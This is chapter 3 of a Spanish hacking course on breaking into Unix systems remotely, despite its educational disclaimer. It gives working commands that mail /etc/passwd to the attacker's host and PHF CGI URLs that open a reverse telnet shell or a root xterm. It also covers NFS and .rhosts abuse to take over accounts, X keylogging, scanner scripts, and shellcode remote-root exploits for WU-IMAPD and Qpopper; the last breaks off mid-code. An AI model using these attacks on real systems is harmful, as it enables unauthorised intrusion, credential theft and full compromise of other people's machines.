La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.

El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: http://www.hackindex.org ; y se incluya este disclaimer en su totalidad y sin modificación alguna.

Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.
#####################################

CURSO PRACTICO DE HACKING—3a entrega

Estimados estudiantes del CPH, en esta entrega nos centraremos ya en
las artima=F1as para la visitacion del objetivo que antes habiamos
escudrinyado (a partir de ahora usare la ny para denotar la enye
espanyola ya que puede verse mal en ciertos casos). Tengo ahora que
hacer un poco de “disclaiming” (lavarme las manos) acerca del uso que
pudiera darse a lo que os contare en este capitulo y el siguiente. La
visita que vamos a hacer no es con permiso del due=F1o y por lo tanto
se incurriria en un “allanamiento de morada informatica” si se emplea
por “el lado oscuro de la fuerza”=2E Esta claro que hemos de dominar
los sistemas y aprovechar sus fallos de seguridad para comprobar
nuestros conocimientos, pero podemos hacerlo de manera sana: o bien
autohacking o bien establecer un acuerdo con el administrador del
sistema que “hackeemos” para comprobar su seguridad. De cualquier
manera el conocimiento es una flor con la que la abeja hace la miel y
la ara=F1a su veneno.

Vamos a repasar algunas de las tecnicas mas adecuadas para el
principiante y luego vosotros mediante el estudio y la practica las
sobrepasareis e incluso ideareis algunas nuevas. Tened en cuenta que
eso es lo que diferencia a un lamer de unhacker: el lamer desbarata
sistemas con las herramientas que el hacker inventa. Alguna vez,
podreis penetrar un sistema utilizando un exploit, por ejemplo, y
conseguir una shell de root…y quizas os sentireis contentos de haber
alcanzado tal privilegio,… pero =BFHabeis escrito vosotros el
exploit?…Luego quizas instalareis un sniffer y una puerta
trasera…=BFpero habeis hecho vosotros esas herramientas? Lo ideal
seria que programarais algunas de las herramientas que utilizarais
luego en vuestras incursiones, y si no es asi, leed e intentad
comprender el codigo que utilizais.

Pero bueno, vamos al grano.

Un saludo para los que estan siguiendo el CPH aunque en pleno
verano. Saludos a los que vuelven, como mi amigo NBK que ya lo he
visto por las news, y a tantos otros. Para los que se han marchado
como Crino, Avalanche, etc…si no encuentran algun capitulo porque
haya expirado, etc, al final voy a intentar ensamblar todos los
capitulos en un solo documento comprimido y lo dejare en
es.binarios.misc, para no consumir ancho de banda.

Saludos,

LECTER

CPH. CAPITULO 3.INTRODUCCION EN EL SISTEMA

En este capitulo consideraremos tecnicas de acceso remoto (a traves de
la red) y en el siguiente estudiaremos el acceso local, que tambien
recibe el nombre de “ataque con escalada de privilegios”. Existe una
progresion cuando el atacante se introduce de manera remota y luego
consigue el acceso a la shell local. Habra que alcanzar privilegios de
root y mantenerlos, asi como actuar sobre el sistema para adecuarlo a
futuras visitas o a otros propositos.

Existen varios metodos fundamentales para introducirnos remotamente en
un sistema unix:

(1) Fallos de seguridad de aplicaciones basadas en el protocolo
TCP/IP.

(2) Defectos de configuracion en los servicios de red NFS, NIS y en
formularios web.

(3) Mala configuracion en los archivos hosts.equiv y .rhosts y empleo
de los llamados “comandos *r de unix”.

(4) Exploits para ciertos procesos que se basan en bugs de los mismos
o en ataques para desbordar la pila del proceso y ejecutar codigo
arbitrario que permiten conseguir una shell, una rootshell si el
proceso corresponde a un programa que tiene el bit setuid activado.

(5) Tecnicas oscuras: Ataques DoS, IP Spoofing, hijacking, ingenieria
social, web hostiles…Estas tecnicas no deberian usarse mas que en
situaciones muy criticas. He pensado dedicar un capitulo final,
despues del de borrar las huellas para incluir estos procedimientos,
quiza con el titulo de “la mitad oscura”.

Podemos emplearlas de dos modos diferentes para introducirnos en el
sistema: hacerlo directamente consiguiendo una cuenta en el objetivo o
indirectamente haciendonos con el fichero /etc/passwd para crackearlo.

3.1. Fallos de seguridad en aplicaciones TCP/IP

3.1.1 TFTP (Trivial File Transfer Protocol)

Se trata de una transferencia de archivos por udp. Se utiliza para
arrancar estaciones de trabajo o routers y esta basado como ya dije en
udp escuchando por el puerto 69 ;-P. Si el servidor TFTP esta mal
configurado, podemos conseguir el fichero /etc/passwd. En las ultimas
versiones quedan configurados de manera predeterminada para prohibir
el acceso a cualquier directorio excepto /tftpboot. Pero en este
directorio existe informacion comprometedora sobre los archivos de
configuracion de los routers (generalmente como
<nombrehostdelrouter>.cfg) y los intrusos pueden acceder a las
contrase=F1as de los routers y a las cadenas SNMP (Simple Network
Management Protocol), con lo cual comprometeremos redes completas.

3.1.2 FTP

Muchos servidores mal configurados permiten tener acceso anonimo,
permitiendo iniciar una sesion sin necesidad de autenticacion y
pudiendo acceder a toda la estructura de directorios del
sistema…Pero esto son habas contadas y muy peregrino debe ser el
root para meter la pata de ese modo. Algunas veces me han hablado de
servidores FTP que disponian de directorios donde podia escribir
cualquiera, con lo cual los atacantes podrian colocar un fichero
.rhosts (como ya veremos) en el directorio /home de algun usuario y
luego hacer un rlogin sin autenticacion. Habia una estratagema basada
en esto que permitia conseguir el fichero /etc/passwd de modo curioso
y sin magno artificio: Un archivo .forward en el directorio /home/ de
un usuario dirige el correo a una cuenta diferente o ejecuta alguna
instruccion cuando llega correo. De este modo, si escribimos un
fichero (en nuestra maquina atacante darkstar.us.es) lecter_forward de
este modo:

$>echo “/bin/mail lecter@darkstar.us.es < /etc/passwd” > lecter_forward

Luego nos conectamos por ftp al objetivo

$>ftp objetivo.net

Si fuera posible escribir en /home/ftp/ podriamos hacer

ftp>put lecter_forward .forward
ftp>quit

y luego mandamos un correo al “usuario ftp”

$>echo hello chump | mail ftp@objetivo.net

Cuando llegue el correo se ejecutara la instruccion contenida en el
fichero .forward y recibiremos por correo el fichero /etc/passwd
)…Pero a mi nunca me ha funcionado. Aparte de estas
vulnerabilidades existen otras debidas a condiciones de desbordamiento
del buffer en versiones anteriores de wu-ftp 2.4.2, pero esto ya lo
veremos en el epigrafe de los exploits.

3.1.3 SMTP

Aunque hay otros mas seguros como smail y qmail, sendmail es el MTA
(Mail Transfer Agent) mas usado en el mundo unix. Si sendmail no se
configura adecuadamente, puede presentar problemas de seguridad,
ademas de los inherentes a fallos y vulnerabilidades del propio
programa. Una frase corriente hasta hace poco tiempo (la seguridad de
sendmail ha mejorado bastante en los ultimos anyos) era “Wellcome to
the sendmail bug of the week!”.

Un ataque con solera (para la version sendmail 4.1) se baso en la
vulnerabilidad de la “sendmail pipe”, que permitia al intrusoejecutar
instrucciones mediante sendmail con privilegios de bin. En versiones
anteriores a sendmail 5.57 podiamos enviarnos el fichero /etc/passwd
simplemente haciendo:

$>telnet objetivo.net 25
=2E..
helo
=2E..
mail from: “|/bin/mail lecter@darkstar.us.es < /etc/passwd”
rcpt to: johnsilver
data
=2E
quit

Pero para aprovechar los fallos de sendmail es mejor recurrir a los
exploits como se vera en el correspondiente epigrafe.

3.2 Defectos de configuracion de servicios de red

3.2.1 NFS

Ya sabemos que si el servicio nfs esta mal configurado podemos hacer
algunas cosillas ). Si hacemos un rpcinfo -p objetivo.net y nos
encontramos con algunas lineas en cuyos puertos escuchan los
servidores mountd y nfs, podemos mediante un showmount -e objetivo.net
los directorios exportados.

En caso de que no tuvieramos un objetivo concreto podemos buscar
maquinas con ficheros exportables mediante el script perl getdomain.pl
de Invisible Evil, que muestro a continuacion:

—————/begin getdomain.pl———————————
#!/usr/bin/perl

# GetDomain By Nfin8 / Invisible Evil
# Questions /msg i-e or /msg i^e
#
# Retrieve command line arguments.
my($inputfile, $domain) =3D @ARGV;
usage() if (!defined($inputfile) || !defined($domain));

# Open and preprocess the input file.
open(INFILE, “<$inputfile”) or die(“Cannot open file $inputfile for reading!\n”);
my(@lines) =3D <INFILE>;

# Initialize main data structure.
my(%hash) =3D {};
my($key) =3D “”;

foreach (@lines) {
$key =3D (split(/\ /))[0];
chop($key);
next if ((($key =3D~ tr/.//) < 1) ||
(uc($domain) ne uc(((split(/\./, $key))[-1]))) ||
($key =3D~ m/root-server/i));
$hash{$key}++;
}

# Close input file and output data structure to STDOUT.
close(INFILE);

foreach (sort(keys(%hash))) {
print “$_\n”;
}

sub usage {
print(“\n\ngetdomain:\n”);
print(“Usage: getdomain [inputfile] [search]\n\n”);
print(“Where [search] is one of \’com\’, \’edu\’, \’gov\’, \’mil\’ or \’net\’.\n\n”);
exit(0);
}
�
0;
�
———-/end of getdomain.pl——————————————–

Para utilizarlo habeis de disponer de listas de maquinas que se pueden
obtener facilmente por ftp de rs.internic.net con las extensiones:

com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz

Despues de descomprimirlas con gunzip ejecutamos el script asi:

$>perl getdomain.pl com.zone com > com.all

y lo mismo con las otras zonas…

Luego hay que usar otro script llamado cmount.pl para ver los
directorios exportados. Aqui lo teneis

—————-/begin cmount.pl———————————–
#/usr/bin/perl -w
#
# Check NFS exports of hosts listed in file.
# (Hosts are listed, once per line with no additional whitespaces.)
#
# ii@dormroom.pyro.net – 2/27/97.

# Assign null list to @URLs which will be added to later.
my(@result) =3D ();
my(@domains) =3D ();
my($program) =3D “showmount -e “;

# Pull off filename from commandline. If it isn’t defined, then assign default.
my($DomainFilename) =3D shift;
$DomainFilename =3D “domains” if !defined($DomainFilename);

# Do checking on input.
die(“mountDomains: $DomainFilename is a directory.\n”) if (-d
$DomainFilename);
�
# Open $DomainFilename.
open(DOMAINFILE, $DomainFilename) or
die(“mountDomains: Cannot open $DomainFilename for input.\n”);
�
while (<DOMAINFILE>) {
chomp($_);
print “Now checking: $_”;

# Note difference in program output capture from “geturl.pl”.�
open (EXECFILE, “$program $_ |”);
@execResult =3D <EXECFILE>;
next if (!defined($execResult[0]));
if ($execResult[0] =3D~ /^Export/) {
print ” – Export list saved.”;
open (OUTFILE, “>$_.export”);
foreach (@execResult) {
print OUTFILE;
}
close (OUTFILE);
}
close(EXECFILE);
print “\n”;
}
�
# We are done. Close all files and end the program.
close (DOMAINFILE);

0;
—————– end of cmount.pl
Bueno, imaginemos que en el caso de nuestro objetivo, nos sale.

#>showmount -e objetivo.net
/ (everyone)
/usr (everyone)

=A1Magn=EDfico! (Pero no caera esa breva) porque podriamos comenzar
mountando

#>mount -nt nfs objetivo.net:/ /mnt

Pero existe una excelente herramienta llamada nfsshell escrita por
Leendert van Door que podreis encontrar en

ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz

que nos proporciona un cliente robusto llamado nfs que funciona como
cliente ftp y permite manipular facilmente cuakquier sistema de
archivos remotos. Una vez instalado, haced en un xterm

#>nfs

y aparecera el prompt nfs>. Si haceis help vereis todas las
posibilidades=2E Bueno, al grano:

nfs>host objetivo.net (indica el host que queremos montar)

Luego miramos los archivos exportados

nfs>export
/ everyone
/usr everyone

Ahora tenemos que montar / para acceder al sistema de archivos con

nfs> mount /

Podemos ver el status de la conexion y el UID usado cuando se monto el
archivo con

nfs>status
=2E..

Como ya tenemos el sistema de archivos montado posemos mirar el
contenido de /etc/passwd:

nfs>cd /etc

nfs> cat passwd
=2E..

El listado de /etc/passwd nos da los nombres de los usuarios y sus ID,
pero generalmente estaran “sombreados” (shadowed passwords) con una
“x” (generalmente) en el segundo campo de cada registro. No
importa. Busquemos un usuario daemon o bin. Si podemos acceder a los
binarios, =A1asunto zanjado! Suponfamos que existe el registro:

bin:x:2:2::/usr/bin

Vamos a montar /usr y cambiar nuestro UID y GID al de bin:

nfs>mount /usr

nfs>uid 2

nfs>gid 2

(y lo comprobamos con nfs>status)

A partir de ahora, tenemos los privilegios de bin en el sistema
remoto. Ahora podemos crear un canal trasero con el siguiente script
en nuestro sistema (darkstar.us.es) y llamarlo in.ftpd en el mismo
lugar donde activamos el cliente nfs (abrimos un xterm y hacemos vi
in.ftpd en el mismo directorio donde lanzamos el cliente nfs. El
contenido del script sera:

#!/bin/sh
/usr/—ruta hasta–/bin/xterm -display darkstar.us.es:0.0 &

luego lo salvamos y le damos permisos de ejecucion.

Despues volvemos al otro xterm y hacemos

nfs>cd /sbin

nfs>put in.ftp

De esta manera copiamos in.ftpd a /sbin, reescribiendo el
original. Entonces desde la otra xterm permitimos a objetivo.net
conectarse a nuestro servidor X:

#>xhost +objetivo.net
=2E..

#>ftp objetivo.net

Lo que sucedera es que aparecera en nuestro sistema un xterm
perteneciente al administrador de objetivo.net, pues al llamar a
in.ftpd desde inetd, este ejecutara nuestro script con privilegios de
root.
3.2.2 NIS

Ya hemos hablado del NIS, anta=F1o conocido como Yellow Pages (de ahi
el yp…). Cuando hacemos rpcinfo -p objetivo.net y aparece un
servidor ypserv ya estamos seguros de que el NIS esta funcionando. Si
mediante algun artificio tuvieramos una cuenta en una maquina con NIS
tendriamos la posibilidad de acceder al archivo /etc/passwd. Para
saber si en una maquina donde tenemos cuenta funciona NIS, hacemos ps
ax y si aparece el conocido ypserv =A1ya esta! En tal caso podriamos
usar el comando ypcat:

$>ypcat /etc/passwd> ~/passwd

para copiarnos el /etc/passwd en nuestro home. En caso de no tener
privilegios para ejecutar ypcat o si no esta, se puede usar el
programa pwget (este lo veremos en el capitulo 4 destinado al acceso
local). Ademas existe un programa llamado ypx para extraer los mapas
de un servidor NIS y lo podeis encontrar en:

http://morehouse.org/hin/root/ypx.tgz

Su uso es muy sencillo:

ypx -m passwd nombre_dominio_NIS
3.2.3 Inseguridades en scripts CGI

La interfaz CGI (Common Gateway Interface) permite la comunicacion
entre programas cliente y un servidor que emplea el protocolo http. El
protocolo de comunicaciones usado por el script CGI y el servidor es
el TCP/IP usando por defecto el puerto 80. Las vulnerabilidades no se
deben a fallos de CGI, sino a errores en las especificaciones HTTP y
programas del sistema. La parte fundamental de un script CGI es un
documento HTML llamado FORM (Formulario). Los scripts CGI deberian
realizar el filtrado de los contenidos del campo <INPUT> del
formulario (entradas de usuarios), pero en muchos casos, no lo
hacen…con lo cual es posible ganar un acceso ;-D. PHF es un script
CGI estandar en las primeras versiones del servidor Apache y NCSA
HTTPD. Aunque parezca raro, todavia hay sistemas que presentan esta
vulnerabilidad, por eso la cuento. El programa de marras no procesaba
ni validaba adecuadamente la entrada. PHF aceptaba el caracter de
newline (%0a) y ejecutaba cualquier mandato posterior con la UID del
usuario que estuviera ejecutando el servidor (generalmente nobody). El
codigo utilizado era el siguiente, que puede lanzarse desde nuestro
navegador (lynx para los castizos; Netscape para los modelnos):

http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd

De este modo (%20) es un espacio) podria tenerse acceso a /etc/passwd;
pero si estan sombreados habra que pensar en otra cosita:

http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/usr/X11R6/bin/xterm%20-ut%20-display%20darkstar_IP:0.0

El servidoe web remoto ejecutara un xterm y lo montara en nuestro
servidor X (darkstar.us.es) con un ID de ventana 0 y un ID de pantalla
0. Como esta activada la opcion -ut, el sistema no registrara esta
actividad. Hay numerosos scripts para buscar sistema con scripts CGI
y PHF como vereis a continuacion:

——————-/begin cgi scanner———————————-

/* This source is absolutely free to use and modify at you own risk, please
do not change some chars and say that this program is yours or i’ll die the
next day… . Pay attention, this file is for research purpose only, do not
use it into any hacking way. Is possible to be logged while running the
program, so PAY ATTENTION!.
Tested on Linux RedHat 5.0 and Win95 compiled with Cygnus Gnu win32.

Many Thanks goes to s0ftpr0ject and Orda of the Badlands groups!
I want also give a big thanks to:

Goku: my linux guru
SMaster: my prezident
MaNdraKe: and his future girlfriends
Pr3dator: for his help on linux (go slower on cars!:pPp)
PhoenYx: the best italian hacker
Berk: a cool friend and a wannabe hacker
xOANON: the best cracker all around
Golem: for his bot, what about setting it on #softpj?
Spaceone: a good friend
TanK_GirL: a future hacker! (i hope)
RootShell: for many source and ideas

I want also give a big fuck to:

Telecom Italia: u must die!
WarLords: Good ircwarriors but stupid people
Alexb: pay attention at your fuckin’ shells
Lamers: try to be more newbies!

by |scacco|

Add-on By Dark Schneider

*/

#include <sys/stat.h>
#include <sys/types.h>
#include <termios.h> �
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/syslog.h>
#include <sys/param.h>
#include <sys/times.h> �
#include <sys/time.h> �
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <arpa/inet.h>
#include <netdb.h>
#define MAXSTR 12

main (int argc, char *argv[])
{
struct sockaddr_in sin;
/* int outsocket, serv_len, len,c,outfd; */
/* struct hostent *nametocheck; */
/* struct in_addr outgoing; */
struct hostent *hp;
char host[100], buffer[1024], hosta[1024],FileBuf[8097];
int sock, i=3D0, X;
char *stringhe[MAXSTR];
for(i=3D0;i<MAXSTR;i++) {
stringhe[i]=3D(char *) malloc(sizeof(char)*100);
}
�
/* Classic PHF bug… It still Works! */
�
stringhe[0]=3D”GET /cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd\n”;
�
/* test-cgi bug, possible to view documents location */
�
stringhe[1]=3D”GET /cgi-bin/test-cgi?*\n”;
�
/* htmlscript bug, a good language that can us have passwd */
�
stringhe[2]=3D”GET /cgi-bin/htmlscript?../../../../etc/passwd\n”;
�
/* view-source bug, some httd use this… */
�
stringhe[3]=3D”GET /cgi-bin/view-source?../../../../etc/passwd\n”;
�
/* Wrap allow you to have a directory listing on IRIX 6.2 systems */
�
stringhe[4]=3D”GET /cgi-bin/wrap?/../../../../../etc\n”;
�
/* Campas allow you to get the passwd on NCSA server 1.2 */
�
stringhe[5]=3D”GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a\n”;
�
/* With pfdisplay & webdist is possible to get the passwd on IRIX 6.2 systems */
�
stringhe[6]=3D”GET /cgi-bin/pfdisplay.cgi?/../../../../etc/passwd\n”;
�
stringhe[7]=3D”GET /cgi-bin/webdist.cgi?distloc=3D;cat%20/etc/passwd\n”;

/* With aglimpse is possible to mail the password file anywhere */
�
stringhe[8]=3D”GET /cgi-bin/aglimpse/80|IFS=3D5;CMD=3D5mail5dashie\@cyberdude.com\</etc/passwd;eval$CMD;echo\n”;
�
/* An interesting variant for phf*/

stringhe[9]=3D”GET /cgi-bin/phf?Qalias=3Dx%0a/usr/bin/ypcat%20passwd\n”;

stringhe[10]=3D”GET /cgi-bin/php.cgi?/etc/passwd\n”;

/* a new test-cgi but the bug is the same */

stringhe[11]=3D”GET /cgi-bin/nph-test-cgi?*\n”;
�
while(fgets(hosta,100,stdin))
{
if(hosta[0] =3D=3D ‘\0′)
break;
hosta[strlen(hosta) -1] =3D ‘\0′;
write(1,hosta,strlen(hosta)*sizeof(char));
write(1,”\n”,sizeof(char));
�
hp =3D gethostbyname (hosta);
for(i=3D0;i<MAXSTR;i++) {
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family =3D hp->h_addrtype;
sin.sin_port =3D htons(80);
sock =3D socket(AF_INET, SOCK_STREAM, 0);
X=3Dconnect(sock,(struct sockaddr *) &sin, sizeof(sin));
write(sock,stringhe[i],strlen(stringhe[i])*sizeof(char));�
while((X=3Dread(sock,FileBuf,8096))!=3D0)
write(1,FileBuf,X);
�
}

}
printf(“\nScacco&Dark Schneider – S0ft Pr0ject 98″);
}

—————/end CGI scanner———————————-

Hay otros pero este ya vale.

Bueno…y si el administrador ha eliminado las X? Entonces habra que
recurrir a un canal trasero. En la mayor parte de los servidores unix
hay instalado un cliente telnet sin restricciones de empleo. Para
conseguir nuestro canal trasero realizaremos un “telnet inverso”
utilizando la herramienta netcat para activar escuchas en nuestro
propio sistema. Debemos ejecutar los siguientes comandos en sendos
xterms de nuestra maquina:

(xterm1)#>nc -l -n -v -p 80

(xterm2)#>nc -l -n -v -p 25

Hemos de asegurarnos de que no hay demonio alguno escuchando por tales
puertos en nuestro sistema y si los hay haced un ps ax y luego
matadlos con kill -9 <pid>. Los dos mandatos nc escuchan en los
puertos 80 y 25 de nuestra maquina. Para iniciar el telnet inverso,
ejecutamos en el servidor objetivo desde nuestro navegador:

http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/telnet%20darkstar_IP%2080%20|%20/bin/sh%20|%20/bin/telnet%20darkstar_IP%2025

que equivaldria a hacer en la maquina remota:

/bin/telnet darkstar_IP 80|/bin/sh/|/bin/telnet darkstar_IP 25

El mandato /bin/telnet darkstar_IP 80 se conecta a nuestra escucha
netcat en el puerto 80. Aqui es donde escribiremos nuestras
ordenes. La salida estandar o las pulsaciones de teclas que hagamos se
introduciran en /bin/sh. Posteriormente, el resultadode nuestros
mandatos se dirigira a /bin/telnet darkstar_IP 25. Al final tenemos un
telnet inverso que se ejecuta en dos ventanas separadas. Se escogen
los puertos 80 y 25 porque son servicios comunes que generalmente
permiten los cortafuegos. Existen otros modos de explotar las
vulnerabilidades CGI, pero se llevan a cabo desde acceso local.

3.2.4 Vulnerabilidades de servidores X

Muchos servidores X ejecutan de forma predeterminada xhost+
permitiendo que cualquier usuario local o remoto acceda al servidor X
sin autenticarse y muchos administradores ni se percatan. Existe una
utilidad llamada xscan que podeis encontrar en

http://morehouse.org/hin/root/xscan.tar.gz

que permite identificar los servidores X que tienen activado
xhost+. Una vez instalada hacemos

$>xscan objetivo.net
=2E..
Connecting to objetivo.net…on port 6000
connected
Host objetivo.net is running X
Starting keyboard logging of host objetivo.net
:0.0 to file KEYLOGobjetivo.net:0.0.

A partir de ahora, cualquier pulsacion de teclas realizada en la
consola de la maquina remota quedara registrada en el archivo
KEYLOGobjetivo.net. Si ejecutamos un tail sobre el archivo de registro
podemos ver lo que el usuario esta escribiendo en el teclado:

$>tail -f KEYLOGobjetivo.net:0.0
su -
[shift_L * Iamowned (Shift_R)]

Asi vemos que el usuario ha ejecutado el comando su con el password de
root “Iamowned” )).
3.3 Mala configuracion de hosts.equiv y .rhosts

En una red basada en TCP/IP el fichero /etc/hosts.equiv es una base de
datos general que controla el acceso a nivel de hosts, y el fichero
/home/usuario/.rhosts controla el acceso a la maquina a nivel de
usuario. Las maquinas cuyos nombres encontremos en /etc/hosts.equiv o
en ~/.rhosts se llaman “trusted hosts” o maquinas de confianza por
parte del objetivo. Cuando intentamos conectarnos a la maquina remota
mediante rlogin (la maquina remota ha de tener el puerto 513 tcp
rlogin activo)

$>rlogin -l objetivo.net

el demonio rlogin busca en /etc/hosts.equiv por el nombre de nuestra
maquina y si lo encuentra, hemos conseguido el acceso. Tambien podemos
intentarlo haciendo

~>rlogin -l usuario objetivo.net

entonces rlogin busca el nombre de nuestra maquina en el fichero
/home/usuario/.rhost y si la encuentra, tambien hemos conseguido el
acceso. Un antiguo “bug” de rlogin permitia conseguir una rootshell
haciendo

$>rlogin objetivo.net -l -froot.

Si una maquina tiene el rlogin activado (y no tiene filtros tcp
warppers) debemos intentar escribir una “+” en ~/.rhosts o
/etc/hosts.equiv. Muchos ya vienen con la entrada “+” en dichos
archivos por defecto y eso significa que cualquier otra maquina sera
un “trusted hosts”. Voy a ilustrar esto con un ejemplito de lo mas
interesante. Supongamos que sabemos que en nuestro sistema objetivo
estan activos los servicios rlogin, mountd y nfs. Si hacemos

#>showmount -e objetivo.net
y nos sale

/home

Lo primero que haremos sera crear un directorio para montar /home

#>mkdir patapalo

#>mount -nt nfs objetivo.net:/home /patapalo

#>ls -la /patapalo
Imaginemos que encontramos la siguiente entrada con UID=3D102:

1 drwx—— 15 102 100 1024 Jul 8 18:57 skywalker/

Hacemos una entrada nueva en nuestro fichero de passwd para skywalker pero sin contrase=F1a:

#>echo “skywalker::102:2::/patapalo: /bin/shi” >> /etc/passwd

#>su – skywalker
(sin contrasenya)

Una vez como skywalker, podemos hacer:

#>echo “+ +” > skywalker/.rhosts (hacemos que la maquina remota considere a cualquiera, nosotros por ejemplo, como de confianza)

#>cd /

#>rlogin -l skywalker objetivo.net
Wellcome to objetivo.net
=2E..

objetivo.net:~$>

=A1Ya tenemos cuenta en el sistema!

Para desmontar el archivo, salimos del directorio y hacemos

#>umount /patapalo

De todos modos es muy raro que pasen estas cosas…los tcp warppers
deberian tener bien configurados sus ficheros de hosts.allow y
hosts.deny…pero por defecto, al instalarse automaticamente los tcp
warppers en el sistema (linux p.ej.) los ficheros de configuracion
mencionados estan vacios de reglas de acceso.
3.4 Exploits

Los exploits son procedimientos que nos permiten aprovechar (explotar)
un fallo o vulnerabilidad en ciertos programas que se ejecutan con el
bit setuid activado y que nos permiten acceder al sistema generalmente
con una rootshell. Si bien la mayor parte de las veces se utilizan en
acceso local como procedimiento para acceder a los privilegios de
root, tambien se usan para el acceso remoto utilizando alguna utilidad
de red como telnet o netcat.

La mayor parte de los exploits se basan en desbordamientos del buffer
de la pila(stack buffer overflow). En el excelente articulo de
AlephOne aparecido en noviembre de 1996 en el Phrack (49, file 14) y
titulado “Smashing the Stack for Fun and Profit” se describe
minuciosamente como es posible desbordar el buffer de la pila del
proceso y establecer la direccion de retorno para que se ejecute
codigo arbitrario, generalmente una rutina en ensamblador (a veces
llamada “egg”) que ejecuta /bin/sh con privilegio de root (si el
programa tenia el bit setuid activado). Esta vulnerabilidad la
presentan en principio los programas que llaman a determinadas
funciones C tales como strcpy(), strcat() y sprintf() que no verifican
el tama=F1o de los arrays. Hay un articulo muy sencillo de leer (o lo
habia) en http://hello.to/hacker_novatos escrito por RaiSe para los
neofitos, pero debeis de tener al menos unas nociones de programacion
C, la distribucion en la memoria de un proceso unix y algo de
ensamblador (CPU Intel y linux como so). Yo por mi me enrrollaria un
poco con el tema porque es apasionante y es relativamente sencillo
escribir nuestros propios exploits…pero eso sera otra historia si
Dios quiere que disponga de tiempo para hacer una introduccion a la
realizacion de exploits. Basta decir que si visitamos la pagina

http://www.rootshell.com

y buscamos en “exploits” encontraremos de todo. En cada uno de ellos
se explica el modus operandi para aplicarlos. Yo he recogido algunos
recientitos para Linuxy los pego a continuacion:

**Uno para imap, del 98

——————-/begin imap exploit———————-

/*

THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF THE ADM CREW
�
Linux WU-IMAPD 4.1 remote root exploit (4/98)
by ndubee||plaguez
dube0866@eurobretagne.fr

Usage: ./imapx <offset>
�
where offset =3D -500..500 (brute force if 0 doesnt work)

Credits:
- Cheez Whiz (original x86 BSD exploit)
- #!w00w00 and #!ADM

Note:
if you plan to port this to other OS., make sure the
shellcode doesn’t contain lower case chars since imapd
will toupper() the shellcode, thus fucking it up.

*/

#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>
#define BUFLEN 2048
#define NOP 0×90

char shell[] =3D
/*
jmp 56
popl %esi
movl %esi,%ebx
movl %ebx,%eax
�
addb $0×20,0×1(%esi)
addb $0×20,0×2(%esi)
addb $0×20,0×3(%esi)
addb $0×20,0×5(%esi)
addb $0×20,0×6(%esi)
�
movl %esi,%edi
addl $0×7,%edi
xorl %eax,%eax
stosb %al,%es:(%edi)
movl %edi,%ecx
movl %esi,%eax
stosl %eax,%es:(%edi)
movl %edi,%edx
xorl %eax,%eax
stosl %eax,%es:(%edi)
movb $0×8,%al
addb $0×3,%al
int $0×80
xorl %ebx,%ebx
movl %ebx,%eax
incl %eax
int $0×80
call -61
.string \”/BIN/SH\”
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff ;markup

*/

“\xeb\x38\x5e\x89\xf3\x89\xd8\x80″
“\x46\x01\x20\x80\x46\x02\x20\x80″
“\x46\x03\x20\x80\x46\x05\x20\x80″
“\x46\x06\x20\x89\xf7\x83\xc7\x07″
“\x31\xc0\xaa\x89\xf9\x89\xf0\xab”
“\x89\xfa\x31\xc0\xab\xb0\x08\x04″
“\x03\xcd\x80\x31\xdb\x89\xd8\x40″
“\xcd\x80\xe8\xc3\xff\xff\xff\x2f”
“\x42\x49\x4e\x2f\x53\x48\x00″;

void
main (int argc, char *argv[])
{
char buf[BUFLEN];
int offset=3D0,nop,i;
unsigned long esp;

fprintf(stderr,”usage: %s <offset>\n”, argv[0]);
�
nop =3D 403;
esp =3D 0xbffff520;
if(argc>1)
offset =3D atoi(argv[1]);

memset(buf, NOP, BUFLEN);
memcpy(buf+(long)nop, shell, strlen(shell));
�
for (i =3D 512; i < BUFLEN – 4; i +=3D 4)
*((int *) &buf[i]) =3D esp + (long) offset;

printf(“* AUTHENTICATE {%d}\r\n”, BUFLEN);
for (i =3D 0; i < BUFLEN; i++)
putchar(buf[i]);
�
printf(“\r\n”);

return;
}
————–/end imap exploit———————————–
**Otro para qpop3

—————–/begin qpop3 exploit—————————–
/*
* !Hispahack Research Team
* http://hispahack.ccc.de
*
* By Zhodiac <zhodiac@softhome.net>
*
* Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)
* Overflow at pop_list()->pop_msg()
*
* Tested: 3.0beta28 offset=3D0
* 3.0beta26 offset=3D0
* 3.0beta25 offset=3D0
*
* #include <standar/disclaimer.h>
*
* This code is dedicated to my love [CrAsH]] and to all the people who
* were raided in Spain in the last few days.
*
* Madrid 10/1/2000
*
*/

#include <stdio.h>

#define BUFFERSIZE 1004
#define NOP 0×90
#define OFFSET 0xbfffd9c4

char shellcode[]=3D
“\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89″
“\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89″
“\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh”;
void usage(char *progname) {
fprintf(stderr,”Usage: (%s <login> <password> [<offset>]; cat) | nc <target> 110″,progname);
exit(1);
}

int main(int argc, char **argv) {
char *ptr,buffer[BUFFERSIZE];
unsigned long *long_ptr,offset=3DOFFSET;
int aux;

fprintf(stderr,”\n!Hispahack Research Team (http://hispahack.ccc.de)\n“);
